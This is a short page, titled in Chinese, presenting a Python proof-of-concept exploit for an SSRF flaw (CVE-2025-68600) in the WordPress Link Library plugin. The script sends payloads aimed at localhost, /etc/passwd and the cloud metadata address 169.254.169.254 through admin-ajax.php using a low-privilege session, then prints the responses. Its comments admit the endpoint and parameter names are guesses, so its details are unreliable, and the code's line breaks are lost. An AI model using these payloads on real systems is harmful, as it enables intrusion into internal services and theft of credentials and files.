CVE-2025-68600 WordPress Link Library插件SSRF漏洞

import requests import sys # CVE-2025-68600 SSRF PoC for WordPress Link Library Plugin # Target: WordPress site with Link Library plugin <= 7.8.7 target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' # SSRF payload to access local resources or internal services ssrf_payloads = [ 'http://127.0.0.1/admin/', 'http://localhost/etc/passwd', 'http://169.254.169.254/latest/meta-data/', 'file:///etc/passwd' ] # Typical vulnerable endpoint in Link Library plugin vulnerable_endpoint = f'{target}/wp-admin/admin-ajax.php' headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'SSRF-Test-Client/1.0' } print(f'[*] Testing CVE-2025-68600 SSRF on {target}') print(f'[*] Target endpoint: {vulnerable_endpoint}') # Authenticated low-privilege user required (subscriber role or higher) cookies = { 'wordpress_test_cookie': 'WP+Cookie+check', # Add valid WordPress session cookie here } for payload in ssrf_payloads: print(f'\n[*] Testing payload: {payload}') # Common parameter names in Link Library that might be vulnerable data = { 'action': 'link_library_fetch', 'url': payload, 'link_id': '1' } try: response = requests.post( vulnerable_endpoint, data=data, headers=headers, cookies=cookies, timeout=10, verify=False ) print(f'[+] Status Code: {response.status_code}') print(f'[+] Response Length: {len(response.text)} bytes') if response.status_code == 200 and len(response.text) > 0: print(f'[+] Potential SSRF confirmed - Response received') print(f' First 200 chars: {response.text[:200]}') except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') print('\n[*] PoC execution completed')